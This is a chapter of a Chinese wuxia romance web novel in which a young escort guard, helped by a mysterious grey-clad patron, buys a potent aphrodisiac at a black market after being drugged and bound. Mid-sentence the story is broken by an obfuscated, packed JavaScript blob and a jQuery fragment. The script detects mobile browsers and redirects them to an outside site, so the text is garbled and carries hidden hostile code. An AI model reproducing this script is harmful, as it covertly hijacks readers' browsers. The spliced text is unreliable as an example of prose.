91. 天涯地角寻思遍·其六
作品:《云山雪》 聂霜霜打小儿第一次在外过夜,新奇刺激得不行,夜都深了,还凑在钟滟身旁说个不停:“汉中贯通南北,锦绣繁华,乃是天下名城。甄姐姐,你到时候定要陪我好好逛逛,我去选几匹蜀锦定衣裳,你爱练字,可以去挑几幅扇面,说不定……”
她凑近了分,咬着钟滟的耳朵道:“运气好的话,说不定还能遇见卖情丝绕的黑市!”
虽有几分心理准备,没想到不详的预感这样快就要成真了,钟滟两眼一抹黑,不知怎么跟少女解释——黑市并不是像她们逛灯会那样,道边两旁支着摊子,有小贩热情吆喝,任人挑选。
那些深奥古怪的切口黑话,往来试探,她半分都不懂,自己混进去都勉强,遑论带着她。
这可怎么办才好……临出行前,老夫人特意拉着她千叮咛万嘱咐,让她一定要照顾好霜霜,她可不能让少女去黑市冒险。
钟滟握了握拳,认真道:“黑市里鱼龙混杂,你不懂里头的门道。我去帮你探探,你在客栈里老实待着就好,不许去瞎闯。”
聂霜霜闻言大喜,抱着她的胳膊一个劲地撒娇:“甄姐姐最好了,待我拿下周子衡,二拜高堂的时候我把我爹踹走,让你坐我娘边上!”
钟滟:“……”
谢谢,有被孝到。但还是算了,她实在是没法想象向来端正严肃的周大总管一身喜服对着她折腰下拜的样子,会折寿的。
于是一行人客宿汉中城的那晚,钟滟便换了身没有镖局印记的浅红裙衫,避开众人的视线,悄悄出了门。
汉中城内繁华,市井店肆数不胜数,只是若要寻找黑市,左不过得往那几处昼夜不歇的下九流勾当去。
青楼她不敢去,赌坊……或许可以试一试。
她走入城西处最大最繁华的一处赌坊,学着往来客人的模样,假装熟练地换了筹码。
赌坊内乌烟瘴气,酒臭混着汗味扑面而来。骰盅摇晃的脆响、牌九碰撞的哗啦声、赌徒们嘶哑的吼叫交织成一片,喧沸不绝于耳。
她四处游荡,观望了半晌,终于挤进一处她唯一能看懂玩法的赌台——押大小。
她试了几次,凭着一身精纯内力听那骰子细响,逐渐摸出了点门道。
再押注时,轮轮皆赢,直到她面前的筹码堆积如山,赌台前的美貌胡姬频频看了她数眼,轻移莲步凑近问道:“这位贵人手气这般旺,莫不是来借东风的?”
钟滟对这些黑话一知半解,被问得一蒙,只好硬着头皮回:“可否点一盏灯?”
只有在夜里需要点灯,这是问黑市买卖的惯用切口。
胡姬露出了然神色,引着她七拐八绕,来到了二层内部的一个小房间前。
里面黑蒙蒙的,钟滟刚一进门,便闻到了一股异香,随后身体软倒,失去了意识。
再醒来时,她手脚被麻绳捆绑,眼睛被遮住,正躺在一辆疾速前进的马车内。
身下却不是硬车板,还压着一个人。
她醒来时下意识撑着坐起,浑身扭动了下。那人似被她压得疼了,一声低浅的闷哼响起,身下薄而劲瘦的肌肉微微一紧。
“抱歉。”
她忙从这人身上翻身滚下,运起内功挣脱手足上的捆绑,解下眼前的黑布,借着透过马车帘布的月色打量四下的情况时,忽然一怔——方才那个被她压在身下的人,竟是这一路与他们同行的灰衣金主,木先生。
他的手脚也被绑着,整个人躺在那儿一动不动,不知被迫给她当了多久的垫子。
她忙替人松了绑,解下他脸上的黑布,待他好不容易也醒转过来睁开眼,便急急问道:“木先生,您怎么在这里?”
灰衣男子却不答话,只是痴痴地望着她的脸,一眼不错。
那目光中似含了泓秋水,被月光照得晃了晃,似要碎成一地薄雪,流淌着深邃刻骨的哀意。
钟滟被他盯得心惊,抬手摸了摸自个儿的脸,暗叫了声不好——被那迷香一熏,浑身失去控制,易形功竟自发解了。
她干咳一声,背过身去重新运转了易形功,才回身抬手在人眼前晃了晃,死马当活马医,一本正经地糊弄道:“木先生,您刚才是被迷香迷了眼,产生了幻觉,我是甄三娘,您还认得我吗?”
灰衣男子似乎这时才醒过神,点了点头,对着她淡声道:“我来黑市买些东西。”
钟滟眸光一亮:“我不太熟这黑市间的门道,不知可否劳烦先生也帮我买个东西?”
她下意识地脱口而出,完全没思考过眼前这个看上去武功还没她高的男子,可能也会不靠谱。
灰衣男子一颔首,十分自然地问:“你要买什么?”
钟滟:“哦,买……”
她一瞬涨红了脸,忽然反应过来自己要买的是什么东西。
——情丝绕,黑市间最性烈的情药,据说给将死之人灌下去都能立刻起兴,三天三夜金枪不倒。
她磕磕巴巴了半晌,脸从耳垂一路红到了脖子根,正想随便糊弄一下,又舍不得这难得的机会。若她空手而归,依聂霜霜那个脾气,非得自己下场一探究竟不可。
算了,丢脸就丢脸吧,反正一到华阳,就能和这金主分道扬镳,再也不见了!
钟滟绞着衣摆纠结了许久,最终还是闭上眼,视死如归道:“……情丝绕。”
出乎意料的,灰衣男子面上没有丝毫表情,连眉梢都未动上半分,也不问她一个姑娘家买这种烈性春药做什么,只是干脆利落地吐出一个:“好。”
他顿了顿,一指车板间的绳索,解释道:“此地黑市的规矩,到达目的地前都得被绑着手脚蒙住眼,劳烦……甄姑娘替我绑回去。”
钟滟挠了挠头,没想到自己一番挣动差点坏了事,露出个赧然的笑:“好。”
她捡起绳子,看着灰衣男子向她伸出的双手——他的腕骨是清瘦的,拇指连着手掌的一侧面,因着骨相有一道削薄曲折的弧度,连着一小截线条流畅的小臂,看上去就非常的优雅清润且……性感。
与师父的手腕一模一样。
在那段荒唐的日子里,她也曾紧紧握着师父的手,十指交扣,近乎贪婪迷恋地一遍遍看他指骨间的线条。最意乱情迷时,她甚至大着胆子,一寸寸细细抚摸把玩过。
虽然那双手也并不会太听话的光让她玩,往往还没摸到几下……她的心跳一瞬加快,呼吸也急促了几分,拿起麻绳小心翼翼地绕过那截手腕,软软地打了个结。
灰衣男子一言不发任她施为,待她绑好了,又浅声道:“绑得紧一些,我又不疼。”
他的肌肤很白,月光下透着玉石般的光泽,被粗劣的绳索一摩擦,就泛上层红痕,钟滟不知为何有些心疼,拆开又重新绑好后,稍微使了点力,打了个漂亮的绳结。
她埋头默默绑完,看着那双被捆住的腕子,喉头莫名有点发干。
又替他半蒙上眼前的黑布,将脚上的麻绳缠好,钟滟看着车厢另一角被自己挣脱的麻绳,忽然一呆——那她的手,谁来替她绑?
灰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017637|172401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣男子十分善解人意,提醒道:“把眼蒙上,手脚上的绳索绕上几圈做做样子即可,往来的都是练家子,查验之人不会较这个真。”
“哦。”钟滟一边给自己蒙眼睛,一边满头雾水,那为什么方才他还让她绑得紧一些?
马车还在疾驰,大约是已带着他们出了城。
久坐无聊,钟滟听到身侧人低声与她攀谈起来:“甄姑娘怎么想起做镖师这一行了?”
女镖师很稀少,钟滟自入了孤烟镖局之后就没被少问过这类问题,闻言便放松下来,自然笑道:“少时顽劣,学艺不精,除了有一把子力气其他什么都不会,只能干些体力活了。”
灰衣男子:“我看甄姑娘十分灵慧,应是你师父未把你教好。”
一提到林维清,钟滟眼神便黯了黯,语气也低落下来:“没有的事,我的师父他……是世上最好的师父,都是我顽劣任性,才什么也没学会。”
灰衣男子:“听姑娘语中似有哀意,难道尊师已经故去了?”
听他误会,钟滟一时哭笑不得:“没有,我师父他还很年轻。”
灰衣男子:“那你为何不回他身边再多学上几年?做镖师披霜戴月毕竟辛苦,何必逞强,自己为难自己。”
钟滟一瞬哑了声。
月色寂寂,车外寒鸦声起。
不知是中那迷香后身体懒散,还是密闭而昏暗的空间让人莫名伤感,又或者是这个灰衣人给人一种莫名的熟悉与安心,她靠着马车壁,鬼使神差地脱口一句:“我犯了一个错,一个弥天大错……”
灰衣男子十分体贴,柔声劝道:“吾观姑娘禀质纯善,想来不会有意害人。既是无心之失,设法弥补便是。姑娘不若试试回去,想来尊师也不会舍得与姑娘计较什么。”
钟滟闭目摇头。
他显然是个一无所知的陌生人,和他说话……很安全。反正到达华阳之后,他便会离开,与她相忘于江湖,从此再也不见。
她尘封已久的心蓦地颤了一颤,忽然很想说一说。
说一说这两年间,那些被强抑在心底不敢触碰的缠绵情愫、那段始于年少也终于年少的激涌心事。
她恍惚开口,语气迷离:“那是个没有办法被原谅的错。我师父是个很厉害的人,就因为我犯了错,便不容于江湖,有家也不能回。我已决心不再拖累师父了,所以今生今世,我都不能再回去,也不会再回去啦。”
灰衣男子许是被她绕晕了,声线有些细微的不稳,疑惑道:“你现在……还在犯那个错么?”
泪意一瞬汹涌,磅礴着打湿了遮着眼的黑巾,钟滟靠着车厢,语声沙哑,哽咽着低不可闻:“大错已然铸成……怎么可能停得下呢。”
直到马车停下,钟滟才惊觉失态,匆忙坐正身子抹了把眼睛。
查验之人似是见惯了被吓哭的客人,又见她是个姑娘,只当她是个侍女,径自与灰衣男子一番契阔后,便给他松了绑。
钟滟就这样稀里糊涂地被木先生一同拉下了马车。
之后的行程就更顺利了,如梦似幻一般。
有木先生在,她一句话也不用说,只需跟在他身后,看他一路与人言语交锋,叠袖屈指议价,两刻钟后,一只红玉瓶便被稳稳塞到了她手中。
木先生还不放心,叮嘱她:“此药性烈,我方才已经验过无误,你不要打开闻。”
直到回到客栈,钟滟还恍惚着,傻呆呆地看着手中的红玉瓶。
啊……她好像连钱也没给。